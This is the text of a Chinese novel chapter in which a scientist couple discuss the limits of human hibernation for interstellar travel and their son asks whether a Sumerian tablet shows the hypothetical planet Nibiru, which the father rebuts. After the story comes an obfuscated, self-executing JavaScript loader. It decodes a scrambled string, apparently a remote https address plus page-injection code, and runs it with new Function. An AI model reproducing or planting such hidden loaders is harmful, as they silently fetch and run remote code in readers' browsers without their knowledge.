陈飞宇无意识地拨弄着餐盘里的菜食,嘴里喃喃念叨:
“如果无法用于长距离的星际航行,那EDSC推动低温冬眠技术还有什么意义呢?”
刘玥没有听清楚陈飞宇的低语,问道:
“你说什么?”
陈飞宇一下子回过了神来,连忙解释道:
“哦,我是说,那现在对于人体能实现的冬眠时间有研究了吗?”
刘玥摇了摇头:
“现在对于人体冬眠的研究还在理论阶段,临床试验的难度非常大,离投入实用估计还需要几十年。”
随后,她莞尔一笑,补了句:
“不过我知道你关心的是什么,我们和几个同事也通过现有的动物实验做,过一些粗略的预测。”
陈飞宇伸长了脖子问道:
“初步结论是什么?”
刘玥回答道:
“根据现在的研究,智慧程度越高的动物,能接受无损冬眠的深度也越低。我们根据小鼠、犬类、海豚、黑猩猩等哺乳动物的冬眠实验数据做了个推测模型。
结果显示,人类这样复杂的大脑结构能接受的冬眠深度非常浅,冬眠对衰老的抑制非常有限。我举个例子吧,假设一个人的寿命是100岁,如果他选择冬眠50年,那么他将会在睡眠中失去25年的正常寿命。”
陈飞宇在心里默算了一阵,说道:
“也就是说,从标准时间线来说,他度过了150年的时间,但在他自己的时间线上只活了75岁。”
刘玥淡淡点头:
“这只是个粗略的估算数据,没有任何学术意义。但真实的情况不会偏差太多,人类使用冬眠是一把双刃剑。”
陈飞宇有些失落,摇着头说道:
“这种形式的冬眠对于光年级的宇宙航行几乎没有意义。”
刘玥说道:
“确实如此,但在对抗顽疾、躲避灾难、应对物资匮乏等等这些特殊情况上应用前景还是非常好的。”
陈飞宇忽然又问道:
“那有没有可能是我们现在科技水平太低,导致我们无法实现人类的长时间冬眠呢?”
刘玥将手轻轻盖在了陈飞宇的手上,说道:
“我知道你很期待这项技术能为你的星辰大海开辟一条道路,但我们对大脑结构的认知,无论是分子层面还是原子层面都已经非常成熟。在可预见的未来,除非人体在结构上发生变化,否则人体冬眠这条路可能都不是长距离星际航行的答案。
就像无论科学怎么发展,宇宙中都没有信息传播速度能超越光速,也没有东西能从黑洞视界面再出来一样,这也许就是我们这个宇宙为我们设置的另一个不可逾越的壁垒。”
陈飞宇愣了好一阵才回过神来,他一边大口地吃着饭菜,一边说道:
“也对,要是真有科幻小说里边那种冬眠技术的话,可能最先引起的不是星际航行的革命,而是社会的巨大动荡。有钱有资源的精英们肯定都会一股脑地润到未来去,而留下来的人只能一步一个脚印,一分一秒挣扎着和时间死磕。
这种在最基本生存权上巨大的不公平,必然会导致社会结构和秩序完全崩塌。到那个时候,还哪儿来的什么美好未来,迎接那些想在时间上作弊的精英们的只会是毁灭。时间他不允许任何人作弊,也许就是一条最基本的宇宙规律。”
刘玥深深看向丈夫:
“这可能是时间告诉我们的另一个答案,现在就是最美好的未来。”
两人的手都不约而同地牵到了一起。
这时,陈旭抱着一本厚厚的书,一脸不悦地走了过来,嘴里还嘟囔着:
“老夫老妻了,还这么腻歪。我还在这儿呢,也不注意下影响。”
夫妻两人都是哈哈大笑,陈飞宇将儿子揽入怀中,说道:
“那我们下次注意点,趁你不在家的时候再腻歪。”
陈旭白了陈飞宇一眼,把手上那本厚重的书摆在桌上说道:
“这是上次唐语姥姥借给我看的书,我有个问题想问问你。”
陈飞宇翻过来看了看书封《古代文明大百科》,说道:
“哟,这上边的问题我可不一定都回答得上来。”
陈旭翻着书页说道:
“和星星有关的,你应该知道。”
陈飞宇做出一副很认真的表情对儿子说道:
“那就来看看我能不能帮到你吧。”
陈旭指着书上的一幅图片,那是一张雕刻着精美人像、楔形文字和其他图案的石板。陈旭用手指着图片的左上角雕刻着太阳和一些星星的位置,问道:
“爸爸,这是苏美尔文明在六千多年前留下的石板画。这个星图上雕刻着12颗星星,分别有太阳、水星、金星、地球、月球、火星、木星、土星、天王星、海王星还有冥王星。但这里还多出了一颗星星,你们天文上有观测到吗?”
陈飞宇一手扶着书,一手挠着鬓边,思考了一阵说道:
“旭旭,你这个逻辑有问题啊。在没有望远镜的时代,肉眼根本就看不到土星以外的行星,所以我觉得他们画的可能并不是八大行星加冥王星还有你说的未知星星。
有没有可能,他们画的是星空上的其他星星,要知道那时候的人类对宇宙的认识还非常有限。”
陈旭眼神里充满了认真,激动地争辩道:
“在人家的记录里,对行星观测记录的描述都很符合实际情况,其他是十一颗星星都是太阳系的行星,最后这颗应该也是才对呀!”
陈飞宇摇着头说道:
“在开普勒定律被提出来之前,关于行星运行的很多问题都是基于感性认识,而非科学的理性。我猜,六千多年前的那些祭司呀,长老呀,可能是因为战争、饥荒、灾难之类的原因,需要找到一些星象上的印证,所以才多画了一颗。”
陈旭愤愤地合上了书,抱在怀中,转身向书房走去:
“净糊弄人,人家苏美尔人祭祀有自己的神,才不会乱画星星!自己都是科学家,给我解释问题一点也不科学!哎...算了,这些知识跟你没法聊,你知道得太浅薄了。什么时候有空再带我去唐语姥姥家吧,还是只能问她。”
夫妻二人对视一笑,刘玥幸灾乐祸地说道:
“看来你这个全知老爸的形象要崩塌了哟!”
陈飞宇看糊弄不过去,连忙叫住了陈旭:
“你...你把书拿回来我再好好看看。”
陈旭不情不愿地又走了回来,把书摊在陈飞宇面前,说道:
“我在唐语姥姥家其他书上看到过一个解释,说有可能是一颗尚未被发现的行星,叫什么名字我想不起来了。所以来问问,看你知不知道。”
陈飞宇手指在那幅画着十二颗星星的图片上划动着,心里忽然有了点印象:
“你说的是不是尼比鲁星。”
陈旭使劲儿地点着头:
“对对对!就是这个名字,爸爸你说苏美尔人岩画上这颗星星,有没有可能是尼比鲁星呢?”
陈飞宇转头看着儿子,认真地说道:
“那我就从科学的角度认真地给你解释这个问题吧,这个传说中的尼比鲁星目前为止都只是猜测,没有任何观测记录。上世纪八九十年代,NASA有过一次疑似太阳系未知行星的观测记录,但很快就被确认是一次错误观测。
牛顿爷爷的《自然哲学与数学原理》为我们定义了科学的边界,一个现象能够用数学的形式表达,并且能在不同的地方重现并符合其数学表达式,这样的一个现象才能被称为科学。
放到行星观测上,如果我们能通过计算其轨道,并且按照轨道数据观测到行星,他才能被定义为科学上的存在。所以,苏美尔岩画上的这颗星星,我认为不应该是一颗太阳系行星,它的存在不符合我们现在对科学的认知。”
陈旭撅着嘴巴点了点头,把书合了起来,说道:
“这还差不多,要是你们真的观测到了那颗星星,记得告诉我。”
“好嘞!我的小历史学家!”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();